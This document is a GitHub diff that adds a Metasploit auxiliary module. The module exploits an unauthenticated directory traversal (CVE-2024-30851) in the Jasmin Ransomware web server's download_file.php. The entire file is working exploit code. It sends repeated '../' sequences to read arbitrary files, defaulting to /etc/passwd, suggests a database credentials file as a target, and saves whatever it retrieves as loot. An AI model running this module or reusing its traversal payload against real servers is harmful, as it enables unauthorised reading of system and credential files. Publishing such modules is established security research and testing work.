|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Auxiliary |
| 7 | + include Msf::Auxiliary::Report |
| 8 | + include Msf::Exploit::Remote::HttpClient |
| 9 | + include Msf::Auxiliary::Scanner |
| 10 | + |
| 11 | + def initialize(info = {}) |
| 12 | + super( |
| 13 | + update_info( |
| 14 | + info, |
| 15 | + 'Name' => 'Jasmin Ransomware Web Server Unauthenticated Directory Traversal', |
| 16 | + 'Description' => %q{ |
| 17 | + The Jasmin Ransomware web server contains an unauthenticated directory traversal vulnerability |
| 18 | + within the download functionality. As of April 15, 2024 this was still unpatched, so all |
| 19 | + versions are vulnerable. The last patch was in 2021, so it will likely not ever be patched. |
| 20 | + }, |
| 21 | + 'References' => [ |
| 22 | + ['CVE', '2024-30851'], |
| 23 | + ['URL', 'https://github.com/chebuya/CVE-2024-30851-jasmin-ransomware-path-traversal-poc'], |
| 24 | + ['URL', 'https://github.com/codesiddhant/Jasmin-Ransomware'] |
| 25 | + ], |
| 26 | + 'Author' => [ |
| 27 | + 'chebuya', # discovery, PoC |
| 28 | + 'h00die', # metasploit module |
| 29 | + ], |
| 30 | + 'License' => MSF_LICENSE, |
| 31 | + 'DisclosureDate' => '2023-04-08', |
| 32 | + 'Notes' => { |
| 33 | + 'Stability' => [CRASH_SAFE], |
| 34 | + 'Reliability' => [], |
| 35 | + 'SideEffects' => [] |
| 36 | + } |
| 37 | + ) |
| 38 | + ) |
| 39 | + |
| 40 | + register_options( |
| 41 | + [ |
| 42 | + OptString.new('TARGETURI', [true, 'The relative URI of the Jasmin Ransomware webserver', '/']), |
| 43 | + OptInt.new('DEPTH', [true, 'Depth of directory traversal to root ', 9]), |
| 44 | + OptString.new('FILE', [true, 'File to retrieve', 'etc/passwd']) |
| 45 | + # /var/www/html/database/db_conection.php another good file to pull |
| 46 | + ] |
| 47 | + ) |
| 48 | + end |
| 49 | + |
| 50 | + def run_host(ip) |
| 51 | + res = send_request_cgi( |
| 52 | + 'uri' => normalize_uri(target_uri.path) |
| 53 | + ) |
| 54 | + |
| 55 | + fail_with(Failure::NotFound, 'Check TARGETURI, Jasmin Dashboard not detected') unless res.body.include? '<title>Jasmin Dashboard</title>' |
| 56 | + |
| 57 | + res = send_request_cgi( |
| 58 | + 'uri' => normalize_uri(target_uri.path, 'download_file.php'), |
| 59 | + 'vars_get' => { |
| 60 | + 'file' => "#{'../' * datastore['DEPTH']}#{datastore['FILE']}" |
| 61 | + } |
| 62 | + ) |
| 63 | + fail_with(Failure::NotFound, 'Check FILE or DEPTH, file not found on server') if res.body.empty? |
| 64 | + |
| 65 | + print_good(res.body) |
| 66 | + # store loot |
| 67 | + path = store_loot( |
| 68 | + 'jasmin.webpanel.dir.traversal', |
| 69 | + 'text/plain', |
| 70 | + ip, |
| 71 | + res.body, |
| 72 | + File.basename(datastore['FILE']) |
| 73 | + ) |
| 74 | + print_good('Saved file to: ' + path) |
| 75 | + end |
| 76 | +end |
0 commit comments